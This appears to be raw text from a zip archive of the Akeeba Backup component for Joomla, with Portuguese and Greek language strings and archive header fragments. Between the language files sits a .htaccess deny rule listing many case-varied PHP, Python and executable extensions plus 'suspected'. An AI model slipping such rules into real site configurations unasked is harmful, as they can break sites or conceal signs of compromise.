COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="A etiqueta do ficheiro de registo a obter"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Lista de ficheiros de registo do Akeeba Backup para o diretório de saída %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> listará todos os ficheiros de registo no diretório de saída do perfil do Akeeba Backup especificado. Nota: ficheiros de registo de outros perfis de cópia de segurança ou instalações do Akeeba Backup que partilham o mesmo diretório de saída também serão listados.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Lista os ficheiros de registo conhecidos do Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Serão listados os ficheiros de registo no diretório de saída deste perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Não foi possível encontrar o perfil #%s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="Este comando não pode devolver múltiplos valores dado o prefixo de chave parcial “%s”. Por favor forneça o nome exato da chave que pretende obter. Use o comando akeeba:option:list para ver as chaves disponíveis com o prefixo %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Chave inválida “%s”."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> obterá o valor de uma opção de configuração de um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Obtém o valor de uma opção de configuração de um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="A chave da opção a obter"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Formato de saída: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="Não foram encontradas opções correspondentes aos seus critérios."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> listará as opções de configuração de um perfil do Akeeba Backup, incluindo os seus títulos.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Lista as opções de configuração de um perfil do Akeeba Backup, incluindo os seus títulos"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Devolver apenas registos cujas chaves começam com o filtro indicado."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Ordenar a saída pela coluna indicada: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Ordem de ordenação: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Valor inválido '%s': fora dos limites."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Valor booleano inválido '%s': use um de 0, false, no, off, 1, true, yes ou on.'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Valor enumerado inválido '%s'. Tem de ser um de %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="Não é permitido definir a opção oculta '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Tipo desconhecido %s para a opção '%s'. Manipulou manualmente os ficheiros JSON das opções?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Não é possível definir a opção protegida '%s'. Por favor use a opção --force para anular a proteção."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Não foi possível definir a opção '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="Opção '%s' definida com sucesso para '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> definirá o valor de uma opção de configuração de um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Define o valor de uma opção de configuração de um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="A chave da opção a definir"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="O valor a definir"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="O perfil de cópia de segurança a usar. Predefinição: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Permitir definir o valor de opções protegidas."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Não é possível copiar o perfil %s; perfil não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Não é possível copiar o perfil #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Cópia bem-sucedida. Criado novo perfil com o ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> criará uma cópia de um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Cria uma cópia de um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="O ID numérico do perfil a copiar"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Incluir filtros na cópia."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Descrição para o novo perfil de cópia de segurança. Usa a descrição do perfil antigo se não for especificada."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Deve o novo perfil de cópia de segurança ter um ícone de cópia de segurança com um clique? Copia a definição do perfil antigo se não for especificada."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="O formato para a resposta. Use JSON para obter um ID numérico analisável por JSON do novo perfil de cópia de segurança. Valores: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Não é possível criar o perfil: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Criado novo perfil com o ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> criará um novo perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Cria um novo perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Descrição para o novo perfil de cópia de segurança. Predefinição: “Novo perfil de cópia de segurança”"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Deve o novo perfil de cópia de segurança ter um ícone de cópia de segurança com um clique? Predefinição: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="O formato para a resposta. Use JSON para obter um ID numérico analisável por JSON do novo perfil de cópia de segurança. Valores: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Novo perfil de cópia de segurança"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="Não pode eliminar o perfil de cópia de segurança predefinido (#1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Não é possível eliminar o perfil %s; perfil não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Não é possível eliminar o perfil #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="O perfil #%d foi eliminado."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> eliminará um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Eliminar um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="O ID numérico do perfil a eliminar"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Não é possível exportar o perfil %s; perfil não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> exportará um perfil do Akeeba Backup como uma cadeia JSON.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Exporta um perfil do Akeeba Backup como uma cadeia JSON"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="O ID numérico do perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Incluir as definições de filtro?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Não é possível processar a entrada; cadeia JSON inválida ou ficheiro não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Não é possível importar o perfil: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="JSON importado com sucesso como perfil #%s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> importará um perfil do Akeeba Backup a partir de uma cadeia JSON.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Importa um perfil do Akeeba Backup a partir de uma cadeia JSON"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Um caminho para um ficheiro JSON de exportação de perfil do Akeeba Backup ou uma cadeia JSON literal. Usa o STDIN se omitido."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="O formato para a resposta. Use json para obter um ID numérico analisável por JSON do novo perfil de cópia de segurança. Valores: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> listará os perfis de cópia de segurança do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Lista os perfis de cópia de segurança do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Não é possível modificar o perfil %s; perfil não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Não é possível modificar o perfil #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Perfil #%s modificado com sucesso."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> modificará um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Modifica um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="O ID numérico do perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Descrição para o novo perfil de cópia de segurança. Usa a descrição do perfil antigo se não for especificada."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Deve o novo perfil de cópia de segurança ter um ícone de cópia de segurança com um clique? Copia a definição do perfil antigo se não for especificada."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Não é possível modificar o perfil %s; perfil não encontrado."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Não é possível repor o perfil #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Perfil #%s reposto com sucesso."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> reporá um perfil do Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Repõe um perfil do Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="O ID numérico do perfil a modificar"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Repor os filtros?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Repor a configuração?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Não é possível encontrar a opção “%s”."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> obterá o valor de uma opção do componente Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Obtém o valor de uma opção do componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="A chave da opção a obter"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Formato de saída: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> listará as opções do componente Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Lista as opções do componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Formato de saída: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Opção do componente “%s” definida para “%s”"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> definirá o valor de uma opção do componente Akeeba Backup.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Define o valor de uma opção do componente Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="A chave da opção a definir"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="O valor da opção a definir"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Formato de saída: text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migração do Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migra as definições do Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> migrará as definições e os arquivos de cópia de segurança do Akeeba Backup 8, se estiver instalado. AVISO: ISTO SUBSTITUIRÁ TODAS AS SUAS DEFINIÇÕES ATUAIS SEM PEDIR CONFIRMAÇÃO. Este comando destina-se a ser usado apenas por adultos responsáveis.\nUtilização: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="O Akeeba Backup 8 não está instalado no seu sítio."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Migrar as suas definições de uma versão mais antiga do Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Detetámos que tem uma versão mais antiga do Akeeba Backup instalada no seu sítio. Clique no botão abaixo para tentar uma importação automática das suas definições, histórico de cópias de segurança e arquivos de cópia de segurança armazenados no diretório de saída de cópia de segurança predefinido. Por favor leia a documentação com atenção para compreender os riscos e limitações desta operação."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Migrar definições"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Já migrou as suas definições de uma versão mais antiga do Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Já migrou as suas definições de uma versão mais antiga do Akeeba Backup. Se pretender executar a migração novamente, clique em “Migrar definições”. Se estiver satisfeito com a migração, clique em “Mostrar-me o que desinstalar” para abrir a página ‘Extensões: Gerir’ do Joomla na extensão antiga do Akeeba Backup; pode então selecioná-la e clicar em Desinstalar para a remover."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Se a desinstalação da versão antiga do Akeeba Backup falhar, por favor faça o seguinte. Primeiro, instale a versão mais recente do Akeeba Backup 8. Depois, instale a versão mais recente do Akeeba Backup para Joomla 4. Volte a esta página e clique em “Mostrar-me o que desinstalar”. Conseguirá desinstalá-lo sem problemas. Por favor note que mensagens sobre o FOF ou FEF não conseguirem ser desinstalados podem ser ignoradas; o Akeeba Backup 8 será desinstalado independentemente destas mensagens."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Mostrar-me o que desinstalar"

COM_AKEEBABACKUP_UPGRADE="Migração de definições"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Esta operação substituirá todas as suas definições existentes e o histórico de cópias de segurança."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="Os requisitos de migração não são cumpridos"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="Não detetámos uma versão compatível do Akeeba Backup. Se tentar executar a migração agora, poderá ter erros e / ou perda de dados. Não prossiga a menos que tenha sido explicitamente instruído a fazê-lo pelos nossos programadores. Ignore este aviso severo por sua conta e risco!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Já migrou as suas definições"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Já executou a migração anteriormente. Se tentar executar a migração novamente, poderá ter erros e / ou perda de dados. Não prossiga a menos que tenha sido explicitamente instruído a fazê-lo pelos nossos programadores. Ignore este aviso severo por sua conta e risco!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="O Akeeba Backup para Joomla! importará as definições de configuração, perfis de cópia de segurança, histórico de cópias de segurança e <em>alguns</em> dos arquivos de cópia de segurança (os que estão em <code>administrator/components/com_akeeba/backup</code>) de uma versão mais antiga do Akeeba Backup (7.x ou 8.x) já instalada no seu sítio, substituindo todos os dados existentes. Só deve usar esta funcionalidade na primeira vez que instalar o Akeeba Backup para Joomla! para evitar perda de dados."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Lembre-se de desinstalar a versão antiga do Akeeba Backup depois de a migração estar concluída. Use o item de menu da barra lateral do Joomla chamado “Sistema”. Encontre o painel Gerir e clique em Extensões. Encontre e selecione a extensão <em>pacote Akeeba Backup</em> do tipo “Pacote”. Depois clique no botão Desinstalar na barra de ferramentas."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Prosseguir com a migração"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="A migração de definições foi concluída com sucesso."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="A migração de definições não foi concluída. Poderá ter de importar manualmente os seus perfis de cópia de segurança e / ou transferir e importar arquivos de cópia de segurança."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Enviar para o Microsoft OneDrive (Pasta Específica da Aplicação)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Envia o arquivo de cópia de segurança para o Microsoft OneDrive, dentro da pasta específica da aplicação para o Akeeba Backup (<code>Apps/Akeeba Backup</code>). Isto é mais limitativo do que as outras opções de envio para o OneDrive, mas é menos provável que cause problemas com algumas contas que apresentam problemas de autenticação com a outra integração que oferecemos."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Subdiretório em <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="O subdiretório dentro da pasta específica da aplicação Akeeba Backup (<code>Apps/Akeeba Backup</code>) no seu drive Microsoft OneDrive para onde os arquivos de cópia de segurança serão enviados. Por favor use barras normais (<code>/</code>), não barras invertidas (<code>\\<code>), e coloque sempre uma barra normal à frente. Correto: <code>/some/thing</code>. Errado: <code>some\\thing</code>. Uma única barra normal significa que os arquivos serão armazenados na raiz do drive. NÃO inclua o caminho para a pasta específica da aplicação (<code>Apps/Akeeba Backup</code>); este é adicionado automaticamente pelo próprio Microsoft OneDrive!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="Auxiliares OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Apenas para a versão Professional. Permite-lhe ter um URL auxiliar OAuth2 personalizado em vez de usar o fornecido pela Akeeba Ltd. Por favor leia a documentação."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="Auxiliar OAuth2 para o Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Use o Box.com com a sua própria aplicação de API OAuth2 em vez de usar a fornecida pela Akeeba Ltd. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="O Client ID que obtém do Box.com para a sua aplicação de API."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="O Client Secret que obtém do Box.com para a sua aplicação de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="Auxiliar OAuth2 para o Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Use o Dropbox com a sua própria aplicação de API OAuth2 em vez de usar a fornecida pela Akeeba Ltd. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="O Client ID que obtém do Dropbox para a sua aplicação de API."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="O Client Secret que obtém do Dropbox para a sua aplicação de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="Auxiliar OAuth2 para o Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Use o Google Drive com a sua própria aplicação de API OAuth2 em vez de usar a fornecida pela Akeeba Ltd. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="O Client ID que obtém da Google Cloud Console para a sua aplicação de API."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="O Client Secret que obtém da Google Cloud Console para a sua aplicação de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="Auxiliar OAuth2 para o OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Use o OneDrive com a sua própria aplicação de API OAuth2 em vez de usar a fornecida pela Akeeba Ltd. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="O Client ID que obtém do OneDrive para a sua aplicação de API."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="O Client Secret que obtém do OneDrive para a sua aplicação de API."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Precisará dos seguintes URLs."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="URL de Callback"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="URL do Auxiliar OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="URL de Atualização OAuth2"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="Auxiliar OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Escolha qual o conjunto de URLs do auxiliar OAuth2 a usar. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Fornecido pela Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Personalizado"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="URL do Auxiliar OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="O URL completo para o auxiliar de autenticação OAuth2. Por favor leia a documentação."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="URL de Atualização OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="O URL completo para o auxiliar de token de atualização OAuth2. Por favor leia a documentação."
PK     \Sʉ        language/pt-PT/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \cY    '  language/el-GR/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="Το πιο δημοφιλές εξάρτημα δημιουργίας αντιγράφων ασφαλείας για Joomla!&trade;"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Αντίγραφο ασφαλείας"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Επιτρέπει τη λήψη αντιγράφων ασφαλείας με το Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Ρύθμιση"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Επιτρέπει τη ρύθμιση προφίλ Akeeba Backup και τη χρήση της ενσωματωμένης επαναφοράς (εάν είναι διαθέσιμη)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Λήψη"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Επιτρέπει τη λήψη, αποστολή και διαχείριση αρχείων Akeeba Backup, καθώς και τη χρήση του Οδηγού Μεταφοράς Ιστότοπου (εάν είναι διαθέσιμος)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Πίνακας ελέγχου"
COM_AKEEBABACKUP_CONFIGURATION="Ρύθμιση προφίλ"
COM_AKEEBABACKUP_BACKUP="Δημιουργία αντιγράφου τώρα"
COM_AKEEBABACKUP_MANAGE="Διαχείριση αντιγράφων ασφαλείας"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Κανένα)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Πίνακας ελέγχου"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="Η κεντρική σελίδα του Akeeba Backup που σας επιτρέπει να ρυθμίζετε, να λαμβάνετε, να διαχειρίζεστε και να επαναφέρετε αντίγραφα ασφαλείας."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Αντίγραφο ασφαλείας"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Λήψη αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Εξαναγκασμός προφίλ αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Επιλέξτε το προφίλ αντιγράφου ασφαλείας για εναλλαγή πριν τη λήψη αντιγράφου. Επιλέξτε '(Κανένα)' για χρήση του τρέχοντος προφίλ."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Άμεση εκκίνηση"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="Να ξεκινήσει αμέσως το αντίγραφο ασφαλείας; Εάν ναι, ο χρήστης δεν θα έχει τη δυνατότητα να εισαγάγει περιγραφή και σχόλια."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Απόκρυψη γραμμής εργαλείων"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="Να αποκρυφτεί η γραμμή εργαλείων με τα κουμπιά Βοήθεια και Πίνακας ελέγχου;"
